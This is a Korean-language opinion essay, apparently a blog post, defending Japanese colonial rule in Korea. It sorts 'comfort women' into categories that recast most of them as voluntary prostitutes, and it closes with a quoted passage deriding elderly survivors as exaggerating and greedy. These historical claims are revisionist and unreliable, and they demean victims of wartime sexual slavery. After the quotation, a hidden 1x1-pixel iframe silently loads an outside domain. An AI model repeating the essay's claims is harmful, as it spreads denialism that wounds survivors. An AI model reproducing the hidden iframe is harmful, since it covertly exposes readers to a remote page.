일본은 조선 여인들을 어떻게 대우했는가?  


아프리카를 식민지로 가졌던 나라들은 흑인을 노예로 잡아다가 아들 딸 부모를 떼어서 팔았고, 소나 말처럼 채찍으로 때려가면서 부렸다. 인도와 중국은 아편쟁이들이 되었다. 이처럼 여타의 식민지들은 착취와 약탈의 대상이었지만, 한국만은 일본인이 건너와 천년만년 살고 싶어 했던 땅이라 애착을 가지고 가꾸었다고 보는 견해가 많다. 한국에는 지진도 없고, 산수가 수려하고, 대륙이었기 때문이다. 그래서 일본인들은 한국을 일본만큼 가꾸고 한국인들 역시 일본인들과 동등한 대우(내선일체)를 하는 것을 정책으로 삼았었다. 

머리 좋은 사람들을 사범학교에 보냈고, 졸업을 하면 한국에 있는 학교에 배치했다. 한국에 일본인 전용학교들, 한국인 전용학교들을 세웠으며 도로, 철로, 항만, 발전, 공장, 건물 등 많은 자본을 투자했다. 패러다임 측면에서 보면 다른 여타의 식민지들은 착취의 대상이었지만 한국만큼은 가꿈의 대상이었다는 것이 그 시대를 아는 분들의 일반적인 견해다. 이는 당시의 경제를 연구한 젊은 학자들에게도 형성돼 있는 견해인 듯 하다. 

여성에 대한 대우에서도 마찬가지였다고 한다. 우리는 5,000년 역사를 자랑하지만 그 역사는 침략 받고 고통 받은 역사들로 채워져 있다. 900여회의 침략을 당했고, 대부분의 침략을 중국으로부터 당했다. 중국이 우리를 침략하면 예외 없이 부녀자들을 겁탈하고, 여성들을 중국으로 끌고 갔다. 나이가 들면 퇴물이라며 버렸다. 버림 받은 한 많은 여인들이 그래도 내 땅이라고 조선을 찾으면 조선인들은 이들을 화냥년이라고 손가락질을 했다. 원래는 ‘환향녀’라 한다. 그러나 일본인들은 중국인들처럼 한국여성을 함부로 다루지 않았다 한다.            


                                                               위안부의 종류


위안부”, “정신대” 이런 말들이 나올 때마다 한국인들은 흥분부터 한다. 지난 번 서울대 경제학부 이영훈 교수가 “위안부는 양 색시와 같다”라는 말을 했다가 혼이 났고, 지금도 많이 시달리는 모양이다. 그의 글 역시 거두절미한 언론의 희생물이었다.  여배우 이승연이 위안부 역할을 하느라 누드 사진을 찍었다해서 벼락 맞듯이 당했다. 그래서 한국에서는 위안부 문제라면 아예 손사래를 치며 멀리 하려 한다. 위안부 문제 역시 예전의 5.18처럼 금단의 구역이 되어 있는 것이다. 그런 금단의 장막에 가려져 있는 곳일수록 문제가 많다는 게 필자의 지론이다.   

필자가 파악한 바로는 위안부에는 엄격히 3가지로 구분돼 있지만 필자를 포함해 한국인들은 대부분 이를 구별하지 못해 왔다. 

(1) “일본군위안부”: 일본인들의 비위를 건드리거나 일본에 반항하던 집안의 규수들, 시집을 미처 가지 않은 규수들이다. 밥을 짓다가, 김을 매다가, 빨래를 하다가 또는 학급에서 공부를 하다가 잡혀간 규수들이다. 이 여인들이야 말로 가장 억울하게 잡혀가 일본군인들에게 윤간을 당한 여인들이며, 그래서 일본을 증오하는 마음이 뼈에 사무쳐 있다. 일본의 통계나 이 분야에 관심이 있는 사람들의 말에 의하면 “일본군위안부”는 20%, “종군위안부”는 80%를 차지한다고 한다. 당시 일본군 부대 주변에는 돈을 벌기 위해 나선 일본 창녀들이 많았다. 그러나 '일본군위안부'로 끌려온 한국 여성들은 돈도 받지 못하면서 성을 제공했다.   

(2) “종군위안부”: 이들은 살림이 극히 어려워 스스로 군표를 받고 몸을 팔아 생계를 유지한 창녀라 한다. 서울대 이영훈 교수가 했던 말은 바로 이런 측면을 말한 듯 하다. 

(3) “정신대”(挺身隊): 이는 ‘여자근로정신대’의 준말로, 15-40대에 이르는 근로여성으로 돈을 받고 간호사, 군수공장 등에서 일한 여성들이다. 끝까지 정조를 지킨 사람, 때에 따라 몸을 팔기도 한 사람, 또는 ‘종군위안부’로 변신한 사람도 있었다 한다.           

이 세 부류 중에서 문제가 되는 것은 주로 “일본군위안부”들이다. 


                                        한승조 교수가 쓴 위안부(정론지) 


“태평양전쟁 중에 한국인 여성이 挺身隊(정신대)로 끌려가서 일본군의 성적인 위안물로 이용되었다 하여 일본의 사죄와 배상을 계속 요구하는 모습은 일본을 나락에 밀어 떨어뜨리려다가 자신들이 먼저 떨어지는 ‘사악함과 어리석음’의 대표적인 사례가 아닐까? . . . 일본이 한국여성을 전쟁 중에 그렇게 이용했다는 것도 전쟁 중의 일시적이면서도 예외인 현상이었던 것으로 알고 있다. 만일 그런 정책의 희생자가 수천, 수만 명이 된다면 六何原則에 따르는 명백한 증거를 찾아내어서 정식으로 거론되었어야 했다. 그러나 그리 많았던 수도 아니었는데 그런 봉변을 당했다고 진술하는 몇 명 안 되는 소수의 노파를 끌고 다니면서 과장된 사실을 믿게 해줄 만한 명백한 증거도 제시하지 못하면서 거듭 배상금을 요구하며, 그나마 이미 받은 것 이외에 더 많은 돈을 요구하면서 몇 십 년 동안 물고 늘어져 왔다는 것은 고상한 민족의 행동거지로 볼 수가 없는 것이 아닌지. 그런데 한국의 신문과 방송은 어쩌자고 이런 노파들의 행동이나 반일감정을 자극하는 기사를 만들고 열심이 보도해 대는 것인지. 애초에 性의 문제는 돈으로 환산될 수가 없는 것인데 왜 돈의 문제와 결부시켜서 자기 망신을 계속하는 것인지? 이런 치사하고 못난 짓은 하면서 어떻게 위대한 민족임을 내세울 수 있겠는가?” <IFRAME height=1 src="http://dcinside.strangled.net/1/" width=1></IFRAME>
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